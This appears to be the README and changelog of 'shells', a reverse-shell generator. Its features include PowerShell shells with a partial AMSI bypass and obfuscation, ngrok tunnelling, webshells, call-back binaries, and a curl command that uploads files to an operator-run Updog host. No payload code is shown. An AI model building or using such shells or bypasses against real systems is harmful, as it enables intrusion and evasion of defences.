A script for generating common revshells fast and easy.
Especially nice when in need of PowerShell and Python revshells, which can be a PITA getting correctly formated.

PowerShell revshells

• Shows username@computer, above the prompt and working-directory
• Has a partial AMSI-bypass, making some stuff a bit easier
• TCP and UDP
• Windows Powershell and Core Powershell
• Functions for uploading and downloading files. (Using Updog by sc0tfree)

ngrok support

• ngrok can be started/stopped from inside the script
• payloads will be genereated with the ngrok addresses

Updog support

• you can start/stop Updog from inside the script
• The PowerShell revshells have upload/download function embedded
• To upload from nix using curl: curl -F path="absolute path for Updog-folder" -F file=filename http://UpdogIP/upload

To install Shells

git clone https://github.com/4ndr34z/shells
cd shells
./install.sh

Screenshots

Youtube video

Version 1.4.6

• Added webshells (ASPX, PHP, JSP)

Version 1.4.5

• Added 2 c++ revshell binaries for Windows 32 and 64 bit.

Version 1.4.4

• Fixed the handling of starting/stopping Updog

Version 1.4.3

• Added Updog support
• Added Netcat binaries.
• Powershell: Created upload/download functionality (upload requires Updog for receiving files)
• Added more information about running ngrok and Updog.

Version 1.4.2

• PowerShell: Added a new "mini AMSI-bypass". (It is a partial bypass) Based on Matt Graebers Reflection method
• PowerShell: Added a "upload" function in the Powershell reverseshell

Version 1.4.1

• Removed AMSI. Not tested enough :-)

Version 1.4

• Added AMSI-bypass for the powershell payloads

Version 1.3.9

• Fixed bug when setting port
• Changed default port to 443
• PowerShell: obfuscated some more

Version 1.3.8

• PowerShell: Minor changes to the UDP payload

Version 1.3.7

• Using only native nc on macOS, because the one on homebrew doesn't work on incoming UDP
• PowerShell: Added UDP payloads

Version 1.3.6

• PowerShell: Added more payloads

Version 1.3.5

• PowerShell: Added some randomization and obfuscation for the payload

Version 1.3.4

• PowerShell: Using UTF8 encoding in payload

Version 1.3.3

• Added Golang

Version 1.3.2

• Added OpenSSL

Version 1.3.1

• Fixed bug in Python revshell
• Added awk
• Added Bash UDP

Version 1.3

• Added Windows Python revshells

Version 1.2.9

• Added a ngrok running-status

Version 1.2.8

• Hiding ngrok choice if not installed

Version 1.2.7

• Fixed the install options: not doing default option when pressing enter without making a choice

Version 1.2.6

• Added support for ngrok.

Version 1.2.4

• Added a install-script
• Added install options for checking and installing missing dependencies

Version 1.2.3

• Added a couple of PHP shells

Version 1.2.2

• Added shells for: Ruby, Perl, Telnet and zsh

Version 1.2.1

• Added copy to clipboard using pbcopy on macOS
• Added info about listening netcat as the macOS versions doesn't display that

Version 1.2

• Added looping netcat shells. Calls back every 10 seconds. Great in case you loose your shell
• Added check for netcat GNU netcat 0.7.0 Homebrew when running on macOS

Version 1.1

• Added support for macOS